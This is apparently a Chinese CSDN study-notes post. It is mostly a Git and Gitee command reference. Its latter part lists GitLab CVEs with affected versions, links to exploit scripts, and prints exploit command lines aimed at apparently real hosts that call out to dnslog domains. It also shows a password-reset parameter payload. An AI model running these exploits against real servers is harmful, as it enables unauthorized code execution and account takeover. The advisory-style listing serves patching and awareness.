开发知识点-Git

在这里插入图片描述

安装

https://git-scm.com/downloads

查看 git 配置



添加用户名
git config --global --add user.name newName

删除用户名
git config --global --unset user.name
#修改用户名
git config --global user.name newName


配置 Git 用户名和邮箱
# 用户名
git config --global user.name "Your Name"

# 邮箱
git config --global user.email "email@example.com"


# 查看全局配置
git config --global --list

# 查看用户名
git config --global user.name


# 初始化一个git仓库
git init   
Initialized empty Git repository in D:/phpstudy_pro/WWW/MAN/

历史操作

#查看 git 状态
git status


查看提交历史
git log

查看可引用的历史版本记录
git reflog


将代码从工作区添加暂存区
git add .
git add pull.md


#查看尚未暂存的更新
git diff 

推拉

拉取代码
git clone http://xxx.xxx.xxx.xxx/xxx.git

添加提交信息(commit 注释写错,执行 git commit --amend 此时会进入默认 vim 编辑器,修改注释后保存)
git commit -m 'xxxx'

# 强制推送(常在 git rebase 或 git reset 后使用)
git push -f origin dev
git push -u origin main

拉取远程分支代码
git pull origin dev

把本地未 push 的分叉提交历史整理成直线
git rebase origin/dev


回到 rebase 执行之前的状态
git rebase --abort

回退版本
# 回退指定 commit_id 版本
git reset --hard commit_id

# 回退上一个版本
git reset --soft HEAD^
# or
git reset --soft HEAD~1





撤销代码
git revert commit_id
 修改分支名
# 第一步
git branch -m oldBranchName newBranchName

# 第二步
git push origin :oldBranchName

# 第三步
git push --set-upstream origin newBranchName

 

统计代码行数
git ls-files | xargs wc -l

分支

创建分支
git branch dev
# or
git checkout -b dev
# or
git switch -c dev



切换本地分支
git checkout dev
# or
git switch dev


切换分支并关联远程分支
git checkout -b dev origin/dev
# or
git checkout --track origin/dev


查看本地所有分支
git branch

查看远程所有分支
git branch -r

删除本地分支
git branch -d dev


删除远程分支
git push origin -d dev

#推送代码到远程分支
git push origin dev

合并分支
git merge dev
该文件夹以及文件夹下所产生的文件(*.pyc)没有必要提交到版本管理仓库上(例如:Git),
可以通过在本地 Project 中的 .gitignore 文件中增加 *.pyc


git配置全局ignore

.DS_Store
*/.DS_Store
*.class
*.iws
*.iml
*.ipr
.idea 
.idea/*
*.bak
target
target/*
.gradle/
.DS_Store
.project
.settings/
*.pyc

Gitee

Git Gitee
大家都知道国内访问 Github 速度比较慢,很影响我们的使用。

如果你希望体验到 Git 飞一般的速度,
可以使用国内的 Git 托管服务——Gitee(gitee.com)。

Gitee 提供免费的 Git 仓库,
还集成了代码质量检测、项目演示等功能。

对于团队协作开发,Gitee 还提供了项目管理、代码托管、文档管理的服务,5 人以下小团队免费。

接下来我们学习一下如何使用 Gitee。

gitee 创建仓库

在这里插入图片描述

打开项目所在目录,右键选择Git Bush Here(你要确定电脑上已经安装了Git)

在这里插入图片描述

初始化本地仓库




$ git add *
将文件添加到暂存区
warning: LF will be replaced by CRLF in LICENSE.
The file will have its original line endings in your working directory
warning: LF will be replaced by CRLF in README.md.
The file will have its original line endings in your working directory
warning: LF will be replaced by CRLF in babel.config.js.
The file will have its original line endings in your working directory
warning: LF will be replaced by CRLF in config/plugin.config.js.
The file will have its original line endings in your working directory



$ git status 
未被git追踪 的文件
On branch master

No commits yet

Changes to be committed:
  (use "git rm --cached <file>..." to unstage)
        new file:   LICENSE
        new file:   README.md
        new file:   babel.config.js
        new file:   config/plugin.config.js
        new file:   config/themePluginConfig.js


$ git commit -m  "shoper in book"
提交暂存区文件到本地仓库中
[master (root-commit) 52bca8d] shoper in book
 760 files changed, 184535 insertions(+)
 create mode 100644 LICENSE
 create mode 100644 README.md
 create mode 100644 babel.config.js
 create mode 100644 config/plugin.config.js


  

由于我们的本地 Git 仓库和 Gitee 仓库之间的传输是通过SSH加密的

配置验证信息。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

因为Git使用SSH连接,而SSH第一次连接需要验证GitHub服务器的Key。
确认GitHub的Key的指纹信息是否真的来自GitHub的服务器。

Gitee 提供了基于SSH协议的Git服务,在使用SSH协议访问仓库之前,需要先配置好账户/仓库的SSH公钥。

解决办法。其实就是在本地生成key配置到github服务器。这样子接收过来就gitHub服务器了。

ssh-keygen -t rsa -C “github用户名(名字或者邮箱)”,按三次回车
你可以按如下命令来生成 sshkey:

ssh-keygen -t ed25519 -C "xxxxx@xxxxx.com"  
# Generating public/private ed25519 key pair.

t : t是type的缩写

-t即指定密钥的类型,密钥的类型有两种,一种是RSA,一种是DSA
RSA和DSA

    RSA:RSA加密算法是一种非对称加密算法,是由三个麻省理工的牛人弄出来的,RSA是他们三个人姓的开头首字母组合。
    DSA:Digital Signature Algorithm (DSA)是Schnorr和ElGamal签名算法的变种。

为了让两个linux机器之间使用ssh不需要用户名和密码。所以采用了数字签名RSA或者DSA来完成这个操作。


注意:这里的 xxxxx@xxxxx.com 只是生成的 sshkey 的名称,并不约束或要求具体命名为某个邮箱。
现网的大部分教程均讲解的使用邮箱生成,其一开始的初衷仅仅是为了便于辨识所以使用了邮箱。

按照提示完成三次回车,即可生成 ssh key。通过查看 ~/.ssh/id_ed25519.pub 文件内容,获取到你的 public key

cat ~/.ssh/id_ed25519.pub
# ssh-ed25519 AAAAB3NzaC1yc2EAAAADAQABAAABAQC6eNtGpNGwstc....


type C:\Users\xxx\.ssh
 登陆码云,点击头像-settings-new SSH,
 复制新生成的SSH配置到服务器,记住拷贝是4步骤下面的秘钥信息以ssh-rsa开始邮箱结束的。
复制生成后的 ssh key,通过仓库主页 「管理」->「部署公钥管理」->「添加部署公钥」 ,添加生成的 public key 添加到仓库中。

 
所以我们只需要将用户主目录下的 ~/.ssh/id_rsa.pub 文件的内容粘贴 Gitee 上。
C:\Users\xxxx\.ssh


选择右上角用户头像 -> 设置,然后选择 "SSH公钥",
填写一个便于识别的标题,然后把用户主目录下的 .ssh/id_rsa.pub 文件的内容粘贴进去:

在这里插入图片描述在这里插入图片描述
添加成功后,就可以使用SSH协议对仓库进行操作了。

项目名称最好与本地库保持一致。

然后,我们在本地库上使用命令 git remote add 把它和 Gitee 的远程库关联:

git remote add origin git@gitee.com:imnoob/runoob-test.git

$ git push origin master
fatal: protocol 'git@gitee.com:https' is not supported

这说明本地库已经关联了一个名叫 origin 的远程库,此时,可以先用 git remote -v 查看远程库信息:


git remote -v
origin    git@github.com:tianqixin/runoob.git (fetch)
origin    git@github.com:tianqixin/runoob.git (push)

https://www.runoob.com/git/git-gitee.html

git push 和 git pull
如果要推送到 GitHub, Gitee

git push github master 
git push gitee master
从将本地的分支版本上传到远程并合并。

git push <远程主机名> <本地分支名>:<远程分支名>如果本地分支名与远程分支名相同,则可以省略冒号:
git push <远程主机名> <本地分支名>


(1)以下命令将本地的 master 分支推送到 origin 主机的 master 分支。
git push origin master

(2)如果本地版本与远程版本有差异,但又要强制推送可以使用 --force 参数:
git push --force origin master

(3)删除主机的分支可以使用 --delete 参数,以下命令表示删除 origin 主机的 master 分支:
git push origin --delete master 
 简易的命令行入门教程:
Git 全局设置:

git config --global user.name "amingMM"
git config --global user.email "1274510382@qq.com"
创建 git 仓库:

mkdir recheng_shoper_firstr
cd recheng_shoper_firstr
git init 
touch README.md
git add README.md
git commit -m "first commit"
git remote add origin https://gitee.com/zhang_aming/recheng_shoper_firstr.git
git push -u origin "master"
已有仓库?
 

完美解决github访问速度慢

  1. 修改本地hosts文件
windows系统的hosts文件的位置如下:C:\Windows\System32\drivers\etc\hosts
mac/linux系统的hosts文件的位置如下:/etc/hosts
  1. 增加http://github.global.ssl.fastly.net和http://github.com的映射
获取Github相关网站的ip
访问https://www.ipaddress.com,拉下来,找到页面中下方的“IP Address Tools – Quick Links”
分别输入github.global.ssl.fastly.net和github.com,查询ip地址
下面是我的配置
140.82.114.4	github.com
199.232.5.194	github.global.ssl.fastly.net

在这里插入图片描述

 git clone git@gitee.com:xxxx/xxxxx.git

介绍

Git 是一个开源的分布式版本控制系统,
用于敏捷高效地处理任何或小或大的项目。

Git 是 Linus Torvalds 为了
帮助管理 Linux 内核开发而开发的一个开放源码的版本控制软件。

Git 与常用的版本控制工具 CVS, Subversion 等不同,
它采用了分布式版本库的方式,不必服务器端软件支持。

Git 与 SVN 区别

Git 不仅仅是个版本控制系统,它也是个内容管理系统(CMS),
工作管理系统等。

如果你是一个具有使用 SVN 背景的人,你需要做一定的思想转换,来适应 Git 提供的一些概念和特征。

Git 与 SVN 区别点:

1、Git 是分布式的,SVN 不是:
这是 Git 和其它非分布式的版本控制系统,例如 SVN,CVS 等,最核心的区别。

2、Git 把内容按元数据方式存储,
而 SVN 是按文件:
所有的资源控制系统都是把文件的元信息隐藏在一个类似 .svn、.cvs 等的文件夹里。

3、Git 分支和 SVN 的分支不同:分支在 SVN 中一点都不特别,其实它就是版本库中的另外一个目录。

4、Git 没有一个全局的版本号,而 SVN 有:
目前为止这是跟 SVN 相比 Git 缺少的最大的一个特征。

5、Git 的内容完整性要优于 SVN:

Git 的内容存储使用的是 SHA-1 哈希算法。这能确保代码内容的完整性,确保在遇到磁盘故障和网络问题时降低对版本库的破坏。

在这里插入图片描述

IDEA 添加 gitee

在这里插入图片描述

选中项目文件夹
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

会弹出警告,都点击commit
在这里插入图片描述
在这里插入图片描述
push代码到gitee

在这里插入图片描述
在这里插入图片描述

Gitlab

在这里插入图片描述

议题

pr

fork

提交规范

相关参考(opens new window)

feat: 增加新功能
fix: 修复问题/BUG
style: 代码风格相关无影响运行结果的
perf: 优化/性能提升
refactor: 重构
revert: 撤销修改
test: 测试相关
docs: 文档/注释
chore: 依赖更新/脚手架配置修改等
workflow: 工作流改进
ci: 持续集成
types: 类型定义文件更改
wip: 开发中

#CodeReview 常用缩写
PR(Pull Request)拉取请求,给其他项目提交代码
LGTM(Looks Good To Me)代码已经过 review,可以合并
SGTM(Sounds Good To Me)和上面那句意思差不多,也是已经通过了 review 的意思
WIP(Work In Progress)如果有个改动很大的 PR,可以在写了一部分的情况下先提交,但需在标题写上 WIP,以告诉项目维护者这个功能还未完成,方便维护者提前 review 部分提交的代码
PTAL(Please Take A Look)提示别人来看一下
TBR(To Be Reviewed)提示维护者进行 review
TL;DR(Too Long; Didn't Read)太长懒得看
TBD(To Be Done(or Defined/Discussed/Decided/Determined)) 一般表示还没搞定

gitlab 未授权RCE(CVE-2021-22205)

https://mp.weixin.qq.com/s/bbQmpNyoVzWlEFpFGSidbw

https://mp.weixin.qq.com/s/-XR9439ri6uUvat6HgcMZA

11.9 <= GitLab(CE/EE)< 13.8.8

13.9 <= GitLab(CE/EE)< 13.9.6

13.10 <= GitLab(CE/EE)< 13.10.3

该漏洞最初由HackerOne的vakzz反馈问题,该漏洞起始于GitLab(CE/EE)11.9,GitLab未验证图片文件(jpeg/jpg/tiff)的元数据并直接进行文件解析而造成远程命令被执行(参考:RCE when removing metadata with ExifTool)。未经授权的用户可以通过该方法对任意用户进行提权操作(参考:GitLab CE CVE-2021-22205 in the wild)。
 
 GitLab是一款Ruby开发的Git项目管理平台。在11.9以后的GitLab中,因为使用了图片处理工具ExifTool而受到漏洞CVE-2021-22204的影响,攻击者可以通过一个未授权的接口上传一张恶意构造的图片,进而在GitLab服务器上执行任意命令。

  gitlab未授权 RCE
https://github.com/XTeam-Wing/CVE-2021-22205

  gitlab_CVE202122205         
Check the GitLab 远程命令执行漏洞(CVE-2021-22205)


下载链接:https://github.com/Al1ex/CVE-2021-22205/  (该工具需使用python3执行)



[gitlab未授权RCECVE-2021-22205)漏洞复现及深入利用 - 知乎 (zhihu.com)](https://zhuanlan.zhihu.com/p/439476986)  GitLab CE/EE - Remote Code Execution	  CVE-2021-22205
python .\CVE-2021-22205.py -v true -t http://118.190.55.239:6060/


​  
app.name="Gitlab"  
​  
GitLab 是一款基于 Git 的 web DevOps 平台,用于管理 Git 存储库、项目和协作工具。GitLab 提供了源代码管理、代码审查、持续集成、持续交付、容器注册表、监视和安全功能。它支持多个操作系统和云平台,并且可以自己托管或使用 GitLab 托管服务。以下是 GitLab 的主要特点和功能:  
​  
1. 源代码管理: GitLab 提供强大的 Git 存储库管理功能,支持分支、标记、合并请求等操作。  
      
2. 代码审查:GitLab 提供内置的合并请求模块,使开发者可以轻松地进行团队中的代码审查和代码质量控制。  
      
3. 持续集成/交付 (CI/CD):GitLab 自带 CI/CD 功能,能够快速生成测试环境、发布代码,并提供实时报告和分析。  
      
4. 容器注册表: GitLab 继承了 Docker Hub,提供了一个面向开发者的私人容器注册表,用户可以将镜像存储在 GitLab 上,方便管理和分享。  
      
5. 监视:GitLab 的监视工具可用于监控应用程序性能等指标,以便及时检测和解决问题。  
      
6. 安全:GitLab 提供了多种安全功能,如检测漏洞和运行静态代码分析,以帮助开发人员更好地保护应用程序的安全。  
      
7. 集成和插件:GitLab 可以与大量第三方工具和服务集成,如 Jira、Slack、Elasticsearch等。同时,GitLab 还提供了各种插件和扩展机制,可以根据用户需求进行定制。  
​  
​  
未授权  
​  
RCE  
​  
​  

​  
​  
​  
​  
GitLab 社区版 (CE)和企业版(EE)中的一个路径遍历漏洞(CVE-2023-2825)  
​  
​  
远程代码执行漏洞  
CVE-2022-2185  2022/7/1   

CVE-2022-1162漏洞

https://mp.weixin.qq.com/s/JVpA14HHWgt58s3vM5TRcA

2022 年 3 月 31 日 GitLab Inc. 官方发布安全更新,披露了 CVE-2022-1162 安全漏洞,通过 OmniAuth provider(如:OAuth, LDAP, SAML)注册登录 GitLab 的用户会被设置一个硬编码的密码,从而允许攻击者通过该硬编码密码登录并接管用户的账号。

CVE-2022-1162 影响范围从 Gitlab 14.7 开始,影响范围为如下版本:

14.7 <= GitLab(CE/EE/JH)< 14.7.7

14.8 <= GitLab(CE/EE/JH)< 14.8.5

14.9 <= GitLab(CE/EE/JH)< 14.9.2

GitLab 任意文件读取漏洞

2022/7/7

GitLab远程代码执行漏洞(CVE-2022-2185)1

Gitlab无需认证

https://blog.csdn.net/qq_41901122/article/details/121343480

gitlab 路径遍历读取任意⽂件


GitLab 是一个 web-based Git 仓库管理工具,类似于 GitHub。它提供了源代码管理、代码审查、问题跟踪、持续集成和部署等功能,使开发团队能够更方便地进行协作开发和交付软件。与 GitHub 不同的是,GitLab 可以在您自己的服务器上安装和运行,以便完全控制您的代码和数据。GitLab 的特点包括易于使用的界面、强大的权限控制、灵活的工作流和可扩展性。







在特定条件下,未授权用户可以使用路径遍历漏洞来读取服务器上的任意文件


漏洞描述:GitLab 存在目录遍历漏洞,当嵌套在至少五个组中的公共项目中存在附件时,未经身份验证的恶意用户可以使用路径遍历漏洞读取服务器上的任意文件

GitLab CE/EE任意文件读取漏洞(CVE-2023-2825),目前技术细节及PoC未公开。当GitLab CE/EE16.0.0版本时,未经身份验证的攻击者可以利用此漏洞读取GitLab CE/EE 服务器任意文件。

利用条件:无

漏洞利用可能性:待研判
影响版本:
GitLab CE 16.0.0
GitLab EE 16.0.0

官方修复方案:
官方已发布修复方案,受影响的用户建议升级到GitLab 16.0.1
https://about.gitlab.com/update/


GET /group1/group2/group3/group4/group5/group6/group7/group8/group9/project9/url


GitLab 远程代码执行漏洞(CVE-2022-2992)

15.3<= GitLab CE/EE < 15.3.215.2 <= GitLab CE/EE < 15.2.411.10 <= GitLab CE/EE < 15.1.6

GitLab CE/EE 存在 ReDos 漏洞(CVE-2023-3424)

10.3 ≤ GitLab CE/EE < 15.11.1016.0 ≤ GitLab CE/EE < 16.0.616.1≤ GitLab CE/EE < 16.1.1

GitLab EE 存在越权访问漏洞(CVE-2023-3484)

12.8 ≤ GitLab CE/EE < 15.11.1116.0 ≤ GitLab CE/EE < 16.0.716.1≤ GitLab CE/EE < 16.1.2

GitLab CE/EE 任意文件读取漏洞(CVE-2023-2825)

GitLab CE /EE = 16.0.0

GitLab 远程代码执行漏洞(CVE-2022-2992)

15.3<= GitLab CE/EE < 15.3.215.2 <= GitLab CE/EE < 15.2.411.10 <= GitLab CE/EE < 15.1.6

GitLab EE 存在越权访问漏洞(CVE-2023-3484)

      12.8 ≤ GitLab CE/EE < 15.11.1116.0 ≤ GitLab CE/EE < 16.0.716.1≤ GitLab CE/EE < 16.1.2 

GitLab CE/EE 存在 ReDos 漏洞(CVE-2023-3424)

10.3 ≤ GitLab CE/EE < 15.11.1016.0 ≤ GitLab CE/EE < 16.0.616.1≤ GitLab CE/EE < 16.1.1

GitLab CE/EE 任意文件读取漏洞(CVE-2023-2825)

GitLab CE /EE = 16.0.0

GitLab EE越权访问漏洞(CVE-2023-3484)

12.8 ≤ GitLab < 15.11.1116.0 ≤ GitLab < 16.0.716.1 ≤ GitLab < 16.1.2

poc-yaml-gitlab-ssrf-cve-2021-22214

gitlab_cnvd202114193

Check the GitLab Graphql邮箱信息泄露漏洞 CNVD-2021-14193

gitlab_ssrf_cve202122214

Check the GitLab ssrf cve-2021-22214 漏洞

 python gitLab_EXP.py  -u http://36.137.246.219:8089/users/sign_in -c "curl \`whoami\`.7kwtfs.dnslog.cn

python -u "g:\code\python_test\PyPOCEXP\gitlab_importRCE.py" -u http://tzw.westlakedata.com -c "curl 
\`whoami\`.853303da.ipv6.1433.eu.org"

GitLab 身份验证绕过漏洞(CVE-2024-0199)

https://mp.weixin.qq.com/s/6nKkj6C5wDteykOO31xZKQ

GitLab 中存在一个身份认证绕过漏洞,该漏洞允许攻击者绕过 CODEOWNERS 验证,在旧功能分支中利用精心构造的有效负载执行恶意操作。

11.3<=GitLab CE<16.7.7

16.7.6<=GitLab CE<16.8.4

16.8.3<=GitLab CE<16.9.2

11.3<=GitLab EE<16.7.7

16.7.6<=GitLab EE<16.8.4

16.8.3<=GitLab EE<16.9.2

目前官方已修复该漏洞,受影响用户可以升级更新到安全版本。官方下载链接:https://about.gitlab.com/releases/2024/03/06/security-release-gitlab-16-9-2-released/

参考链接

https://about.gitlab.com/releases/2024/03/06/security-release-gitlab-16-9-2-released/
https://nvd.nist.gov/vuln/detail/CVE-2024-0199
https://loudongyun.360.net/leakDetail/nKFd%2FbQfZtM%3D

GitLab 任意用户密码重置漏洞 CVE-2023-7028

https://mp.weixin.qq.com/s/9tQrwSXn6dW6cyVxEBFL5A

https://mp.weixin.qq.com/s/sE1e5MXZdOpwnfar7fHyFQ

GitLab CE/EE(CVE-2023-7028)中存在一个严重漏洞,攻击者可以轻易利用该漏洞重置GitLab用户账户密码。尽管也存在漏洞,但在账户上启用了双因素认证的用户不会受到账户接管的威胁。LDAP登录也是安全的!
16.1.0 <= Gitlab CE/EE < 16.1.6
16.2.0 <= Gitlab CE/EE < 16.2.9
16.3.0 <= Gitlab CE/EE < 16.3.7
16.4.0 <= Gitlab CE/EE < 16.4.5
16.5.0 <= Gitlab CE/EE < 16.5.6
16.6.0 <= Gitlab CE/EE < 16.6.4
16.7.0 <= Gitlab CE/EE < 16.7.2

&user%5Bemail%5D=[攻击者的邮件]

https://github.com/RandomRobbieBF/CVE-2023-7028/raw/main/CVE-2023-7028.py

使用方法:

CVE-2023-7028.py [-h] [-u URL] -v VICTIM -a ATTACKER [-p PROXY]

修复方案

建议尽快访问官网获取版本升级安装包,升级 Gitlab 至安全版本及其以上。

https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/

GitLab CE/EE 任意文件写入漏洞 CVE-2024-0402

https://mp.weixin.qq.com/s/fX_lpohNxndBMmw3w711Pg

16.0.0 <= GitLab CE/EE < 16.5.8

16.6.0 <= GitLab CE/EE < 16.6.6

16.7.0 <= GitLab CE/EE < 16.7.4

GitLab CE/EE 16.8.0

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值